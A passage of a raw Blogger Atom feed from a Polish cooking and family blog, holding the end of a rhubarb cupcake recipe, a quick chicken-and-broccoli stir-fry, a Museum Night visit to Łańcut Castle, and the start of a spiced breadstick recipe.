Wypełnij przygotowaną blachę wypełniając do 3/4 wysokości każdego wgłębienia. Piec w zależności od wielkości posiadanej formy 18 minut (średnie) lub 15 minut (małe).&lt;br /&gt;
&lt;br /&gt;
Przed wyjęciem wykonać test tzw. suchego patyczka. Przestudzić na kratce.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4284/34233927474_ab35962b51_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c1.staticflickr.com/5/4284/34233927474_ab35962b51_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h4&gt;
Kardamonowy rabarbar z syropem&lt;/h4&gt;
&lt;i&gt;&lt;u&gt;składniki - kardamonowy rabarbar&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
100g rabarbaru, obrany i pokrojony&lt;br /&gt;
1/3 szklanki&amp;nbsp;+ 1 1/2 łyżki wody&lt;br /&gt;
3 łyżki cukru&lt;br /&gt;
1/4-1/2 łyżeczki mielonego kardamonu (może być pominięty i zastąpiony wanilią)&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
W rondelku umieścić &amp;nbsp;rabarbar, wodę i kardamon. Gotuj na małym ogniu przez 3-5 minut lub do momentu, aż rabarbar będzie miękki, ale nie papkowaty.&lt;br /&gt;
&lt;br /&gt;
Nad miską odcedź rabarbar na drobnym sitku. Syrop zachowaj, a rabarbar przenieś do osobnej miski w celu ostudzenia. Do rondelka, w którym wcześniej gotował się rabarbar przelej syrop i gotuj do lekkiego zgęstnienia przez 5-10 minut. Odstaw do lekkiego ostudzenia, a następnie zmieszaj z rabarbarem. Syrop go pięknie oblepi i podbije smak.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Krem imbirowy&lt;/h4&gt;
&lt;i&gt;&lt;u&gt;składniki - krem&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
150g miękkiego masła&lt;br /&gt;
1 - 1 1/4 szklanki cukru pudru&lt;br /&gt;
200g kremowego serka (mascarpone lub philadelphia)&lt;br /&gt;
1/4 - 1/2 łyżeczki mielonego imbiru (może być pominięty lub zastąpiony świeżym)&lt;br /&gt;
barwnik spożywczy (wg uznania)&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
Masło utrzeć. Dodać cukier i ubijać aż masa będzie jasna i gładka.&lt;br /&gt;
Dodać serek, imbir i barwnik spożywczy. Ubijać do połączenia w gładką masę.&lt;br /&gt;
&lt;br /&gt;
Każdą babeczkę dekorujemy kremem a następnie robimy w nim wgłębienie, w którym układamy porcje rabarbaru w syropie.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;Źródło:&amp;nbsp;callmecupcake.se&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/3280429028671832712/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/smietankowe-babeczki-z-rabarbarem.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/3280429028671832712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/3280429028671832712'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/smietankowe-babeczki-z-rabarbarem.html' title='Śmietankowe babeczki z kardamonowym rabarbarem '/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3VsMrgYbu1FIrYMxxRhIFLLUzp-_jiE6x3JSavgA1wDGaxxI25WsmyKR_FwTbpUIAPmTqLPN0NweJkkxatG6ar2iWY21MB7Hw8KWSwRff_XeMlHeZucLaP2Gx7kPz0pptyFLfj5-qUJU/s72-c/34947060621_9eb7e7936b_b.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-8134869538723113445</id><published>2017-06-03T12:39:00.000+02:00</published><updated>2017-06-03T12:39:39.152+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><category scheme="http://www.blogger.com/atom/ns#" term="Ptactwo"/><title type='text'>Kurczak z brokułami w 12 minut</title><content type='html'>Szybko i pysznie. Ten przepis to prawdziwa bomba smaku! Trafiłam na niego całkiem przypadkiem, gdy szukałam kryzysowego rozwiązania na szybki obiad ze składników dostępnych w lodówce. Też tak macie? Orientalny, wyrazisty smak sosu oraz kurczak z brokułem w roli głównej. To musi być pyszne i jest!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn_VsfQO5kJN9OlwqdSQvu8ftIrucDHFPcYKgPKtr_iOLx5n0kKVgmjWowl3Xkga-Wz39qMHeYtygNvv9aprhLQsmSTLJ19TQL2BcZU_ybjQmnFqK1ulNaEzjK3c2Eb1oefxFmkMznI0c/s1600/kruczak-12minu.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;683&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn_VsfQO5kJN9OlwqdSQvu8ftIrucDHFPcYKgPKtr_iOLx5n0kKVgmjWowl3Xkga-Wz39qMHeYtygNvv9aprhLQsmSTLJ19TQL2BcZU_ybjQmnFqK1ulNaEzjK3c2Eb1oefxFmkMznI0c/s1600/kruczak-12minu.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;
&lt;i&gt;&lt;u&gt;składniki&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
2 łyżki oliwy z oliwek&lt;br /&gt;
2 duże filety z kurczaka (ok. 400-500g), pokrojony w niedużą kostkę&lt;br /&gt;
sól i pieprz&lt;br /&gt;
1 nieduży brokuł, podzielony na małe różyczki&lt;br /&gt;
1/2 pęczka szczypioru z dymki, posiekany&lt;br /&gt;
1 łyżeczka podprażonych nasion sezamu&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;składniki - sos&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
3 łyżki sosu sojowego&lt;br /&gt;
2 łyżki octu ryżowego&lt;br /&gt;
2 łyżki miodu&lt;br /&gt;
1 łyżka skrobi kukurydzianej&lt;br /&gt;
1 duży ząbek czosnku lub czosnek sproszkowany&lt;br /&gt;
2cm korzenia imbiru, obrany i drobno posiekany (można zastąpić 1/2 łyżeczki mielonego imbiru)&lt;br /&gt;
1 łyżeczka oleju sezamowego&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
Na woku lub w głębokim rondlu na średnim ogniu podgrzać łyżkę oliwy. Dodać kawałki kurczaka natarte solą i pieprzem. Obsmażyć, aż mięso będzie ścięte i niemal do samego środka gotowe.&lt;br /&gt;
&lt;br /&gt;
Gdy kurczak się smaży przygotować sos mieszając ze sobą wszystkie jego składniki.&lt;br /&gt;
&lt;br /&gt;
Gdy kurczak jest prawie gotowy dodać do niego małe różyczki brokuł i pozostałą łyżkę oliwy. Kontynuować smażenie przez około 3 minuty lub do momentu, gdy brokuły nabiorą intensywnie zielonego koloru. Powinny być chrupki i jędrne.&lt;br /&gt;
&lt;br /&gt;
Na koniec dodać sos i podgrzewać całość przez około minutę aż sos zgęstnieje.&lt;br /&gt;
&lt;br /&gt;
Posypać szczypiorem i sezamem. Podawać z ryżem lub quinoą.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4235/34903406252_29f724dee3_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c1.staticflickr.com/5/4235/34903406252_29f724dee3_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;Źródło:&amp;nbsp;www.gimmesomeoven.com&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/8134869538723113445/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/kurczak-z-brokuami-w-12-minut.html#comment-form' title='Komentarze (2)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8134869538723113445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8134869538723113445'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/kurczak-z-brokuami-w-12-minut.html' title='Kurczak z brokułami w 12 minut'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn_VsfQO5kJN9OlwqdSQvu8ftIrucDHFPcYKgPKtr_iOLx5n0kKVgmjWowl3Xkga-Wz39qMHeYtygNvv9aprhLQsmSTLJ19TQL2BcZU_ybjQmnFqK1ulNaEzjK3c2Eb1oefxFmkMznI0c/s72-c/kruczak-12minu.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-2760759293289321450</id><published>2017-05-29T22:14:00.001+02:00</published><updated>2025-11-26T16:04:14.601+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Inne"/><category scheme="http://www.blogger.com/atom/ns#" term="Podróże"/><title type='text'>Noc Muzeum w Zamku w Łańcucie</title><content type='html'>W końcu! Noc Muzeów to wydarzenie, na które już wcześniej chcieliśmy się wybrać, ale jakoś nigdy wcześniej nie udało się nam spasować z terminami. W tym roku wydarzenie to było podzielona i odbywało się w różnych terminach, dlatego mogliśmy odwiedzić nie tylko Łańcut, ale także Przeworsk.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1ZdpvHHFrBJGPypWvqG9MVDqwhy37smiBSsp4_RWOCiasFkknZoY5XxY-BSs6cW-tI0Sc_tuK_dgpLVgXxh0F9xASa_n6MHFN3EUEK08Va-O_ZxqBnr1Frsg_6pyZk63l4OG6m1Uf8ig/s1600/20170502_174907.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1ZdpvHHFrBJGPypWvqG9MVDqwhy37smiBSsp4_RWOCiasFkknZoY5XxY-BSs6cW-tI0Sc_tuK_dgpLVgXxh0F9xASa_n6MHFN3EUEK08Va-O_ZxqBnr1Frsg_6pyZk63l4OG6m1Uf8ig/s1600/20170502_174907.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Noc Muzeów to niewątpliwie doskonała okazja, aby zaznajomić z historią nasze dzieci. Bez konieczności płacenia za bilety i stresu, żeby maksymalnie dobrze wykorzystać tę inwestycję. Warto jest jednak wziąć po uwagę popularność takiego wydarzenia i wyjść nieco wcześniej, żeby zająć miejsce w kolejce i oszczędzić sobie późniejszego stania w tłumie. My zjawiliśmy się przed zamkiem pół godziny przed otwarcie. Przed drzwiami znajdowała się już grupa 30-40 osób oczekujących w kolejce. Na szczęście po otwarciu wpuszczane były dość duże grupy i tym sposobem weszliśmy już w trzeciej kolejce.&lt;br /&gt;
&lt;br /&gt;
Do zwiedzania w ramach wydarzenia Nocy Muzeów udostępnione zostało wyłącznie pierwsze piętro zamku. &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4246/34841669271_a4ddba33d9.jpg&quot; style=&quot;margin-bottom: 1em; margin-right: 0em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4246/34841669271_a4ddba33d9.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://c1.staticflickr.com/5/4220/34586286160_d42e3f5bae.jpg&quot; style=&quot;margin-left: 0em; margin-right: 0em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4220/34586286160_d42e3f5bae.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4221/34841665901_89ae13447c.jpg&quot; style=&quot;margin-bottom: 1em; margin-left: 0em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4221/34841665901_89ae13447c.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;https://c1.staticflickr.com/5/4251/34163340283_07389529f1.jpg&quot; style=&quot;margin-bottom: 1em; margin-right: 0em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4251/34163340283_07389529f1.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h3&gt;
Śladami Lubomirskich w Łańcucie&lt;/h3&gt;
&lt;div&gt;
Na dzień dobry muzealne kapcie. Uwaga - bardzo śliskie. Maluchy nie muszą ich nosić, ale nawet starsze dzieciaki w zetknięciu z podłogą w przedsionku miały niezłe poślizgi. Dalej już miękko po muzealnych dywanach i &lt;a href=&quot;https://aleksandraw.blogspot.com/2025/11/podogi-wrocaw-jak-wybrac-idealna-podoge.html&quot;&gt;drewnianych podłogach&lt;/a&gt;. Te ostatnie w formie parkietów urzekają wyrafinowanymi wzorami.&lt;br /&gt;
&lt;br /&gt;
Przy tak popularnym wydarzeniu odwiedzający poruszali się bardzo sprawnie i szybko. Niekiedy nawet za szybko, chociaż sądziłam, że to my z dziećmi będziemy przodować w tym całym korowodzie. Zobaczyć można było salę balową, jadalnię wielką (zdjęcie na górze postu), galerię rzeźb oraz wiele pokoi o różnym przeznaczeniu. Przepełnione pięknymi meblami, udekorowane okazałymi żyrandolami i ogromnymi bukietami suszonych kwiatów. Łazienka zamkowa, sypialnie, pokoje dzienne i miejsca, w którym mieszkańcy oddawali się chwilom relaksu i muzyce.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4248/34586206200_51c5d744e5.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4248/34586206200_51c5d744e5.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt; 
&lt;a href=&quot;https://c1.staticflickr.com/5/4204/34163218973_cf2befd6ac.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4204/34163218973_cf2befd6ac.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4271/34131119144_4acfbac8ac.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4271/34131119144_4acfbac8ac.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4199/34131014064_5809daf212.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4199/34131014064_5809daf212.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4200/34841828311_3d959f2694.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4200/34841828311_3d959f2694.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4223/34163243183_94c3665005.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4223/34163243183_94c3665005.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4195/34933373786_4b88b6a3b3_c.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;534&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4195/34933373786_4b88b6a3b3_c.jpg&quot; width=&quot;605&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4250/34841862211_1580f2cbe5.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4250/34841862211_1580f2cbe5.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://c1.staticflickr.com/5/4269/34810062392_5bb2c316d4.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;354&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4269/34810062392_5bb2c316d4.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Przepiękne detale wypełniają wnętrza tej magnackiej rezydencji. Niektóre niezwykle kobiece, inne emanuują lekkością i delikatnością. Wszystko dobrane ze smakiem oddającym też ówczesne bogactwo.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4219/34586224810_20f64e6ea3.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4219/34586224810_20f64e6ea3.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4251/34163221123_203d9a079c.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4251/34163221123_203d9a079c.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4243/34810050822_02d39a006d.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4243/34810050822_02d39a006d.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4251/34973699385_9f272aaf4a.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4251/34973699385_9f272aaf4a.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4249/34586219610_bc1f3bcb9b_c.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;533&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4249/34586219610_bc1f3bcb9b_c.jpg&quot; style=&quot;margin-bottom: 5px;&quot; width=&quot;605&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4274/34586384950_4d6ee3928a.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4274/34586384950_4d6ee3928a.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4195/34163249023_409e9b9052.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;500&quot; data-original-width=&quot;375&quot; height=&quot;400&quot; src=&quot;https://c1.staticflickr.com/5/4195/34163249023_409e9b9052.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/2760759293289321450/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/05/noc-muzeum-w-zamku-w-ancucie.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2760759293289321450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2760759293289321450'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/05/noc-muzeum-w-zamku-w-ancucie.html' title='Noc Muzeum w Zamku w Łańcucie'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1ZdpvHHFrBJGPypWvqG9MVDqwhy37smiBSsp4_RWOCiasFkknZoY5XxY-BSs6cW-tI0Sc_tuK_dgpLVgXxh0F9xASa_n6MHFN3EUEK08Va-O_ZxqBnr1Frsg_6pyZk63l4OG6m1Uf8ig/s72-c/20170502_174907.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-2724649287962015908</id><published>2017-05-21T21:29:00.000+02:00</published><updated>2017-05-21T21:29:18.656+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chleb"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><title type='text'>Chlebowe paluchy tikka masala z rodzynkami</title><content type='html'>Pięknie rumiane od kurkumy, lekko pikantne, chrupiące paluchy chlebowe, których smak przełamuje słodycz rodzynek doskonale dopełniających orientalnego smaku. Łatwe w przygotowaniu, doskonałe jako przekąska na domówkę albo dodatek do sałatki.&lt;div&gt;
&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW6JjwvL2Tr10oCGSVkMKvBeEtYxc-sKEXkTjNbnKengcH5mvKpSS3OOpg5bwe0XpBAnZC_eDMCtR_HFo_oa2OdaPGVCCFgAmhwQnrgLXlZ8kOHw8GiCWRyR8-Ast1QaK46uxJ83YKmbk/s1600/34764002366_83e29297e3_h.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW6JjwvL2Tr10oCGSVkMKvBeEtYxc-sKEXkTjNbnKengcH5mvKpSS3OOpg5bwe0XpBAnZC_eDMCtR_HFo_oa2OdaPGVCCFgAmhwQnrgLXlZ8kOHw8GiCWRyR8-Ast1QaK46uxJ83YKmbk/s1600/34764002366_83e29297e3_h.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;u&gt;składniki&lt;/u&gt;:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
340 g mąki chlebowej&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
7g suchych drożdży&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1 łyżeczka soli&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
25g cukru pudru&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1/2 łyżeczki kurkumy&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1 łyżeczka mielonego kuminu&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1 łyżeczka mielonych nasion kolendry&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1/2 łyżeczki suszonego czosnku&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1 łyżeczka garam masala&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1/2 łyżeczki pieprzu cayenne&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
szczypta pieprzu czarnego&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
3 łyżki nasion czarnego sezamu&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2 łyżki oliwy&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
200ml letniej wody&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
60g rodzynek sułtańskich&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
mąka kukurydziana do podsypania (niekoniecznie)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
